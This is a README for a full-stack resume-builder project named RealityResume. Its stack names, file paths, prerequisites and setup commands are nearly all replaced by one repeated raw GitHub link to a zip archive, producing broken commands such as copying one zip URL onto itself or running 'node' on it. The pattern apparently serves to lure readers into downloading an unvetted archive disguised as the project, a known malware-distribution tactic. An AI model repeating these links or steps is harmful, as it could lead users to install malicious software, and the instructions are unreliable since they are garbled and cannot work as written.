RealityResume — Complete Project Package (Full-Stack)

• Frontend: https://raw.githubusercontent.com/akshayneq/PROJECT2/main/unperforming/PROJEC_1.6.zip + TailwindCSS
• Backend: https://raw.githubusercontent.com/akshayneq/PROJECT2/main/unperforming/PROJEC_1.6.zip API with OpenAI summarizer hooks
• Database: MongoDB (schemas + sample seed script)
• Demo: seeded demo user and sample events
• Authentication: basic JWT auth + OAuth placeholders
• Deployment notes included

What you'll find

• /frontend — https://raw.githubusercontent.com/akshayneq/PROJECT2/main/unperforming/PROJEC_1.6.zip app (Tailwind, pages, sample Dashboard, Resume builder)
• /backend — Express API, OpenAI summarizer, MongoDB models, seed script
• /scripts — helper scripts to seed demo data
• https://raw.githubusercontent.com/akshayneq/PROJECT2/main/unperforming/PROJEC_1.6.zip — environment variables to configure

Quick start (local)

Prereqs: https://raw.githubusercontent.com/akshayneq/PROJECT2/main/unperforming/PROJEC_1.6.zip (18+), npm, MongoDB running locally or Atlas.

1. Clone repo or unzip package and cd RealityResume-complete.
2. Copy env files:

   cp https://raw.githubusercontent.com/akshayneq/PROJECT2/main/unperforming/PROJEC_1.6.zip https://raw.githubusercontent.com/akshayneq/PROJECT2/main/unperforming/PROJEC_1.6.zip
   cp https://raw.githubusercontent.com/akshayneq/PROJECT2/main/unperforming/PROJEC_1.6.zip https://raw.githubusercontent.com/akshayneq/PROJECT2/main/unperforming/PROJEC_1.6.zip

3. Install & start backend:

   cd backend
   npm install
   npm run dev

4. Install & start frontend (in new terminal):

   cd frontend
   npm install
   npm run dev

5. Seed demo data (optional):

   node https://raw.githubusercontent.com/akshayneq/PROJECT2/main/unperforming/PROJEC_1.6.zip

6. Open http://localhost:3000 in your browser.

OpenAI

The backend includes an AI summarizer endpoint that calls OpenAI's v1/completions or v1/chat/completions. Put your OPENAI_API_KEY in https://raw.githubusercontent.com/akshayneq/PROJECT2/main/unperforming/PROJEC_1.6.zip. The code is ready to call OpenAI; no model key is bundled.

Uploading to GitHub

• Initialize a git repo and push the folder (all files included). The package is structured for immediate upload.

License & Notes

MIT — feel free to modify. This package is a working MVP scaffolding; extend features as needed.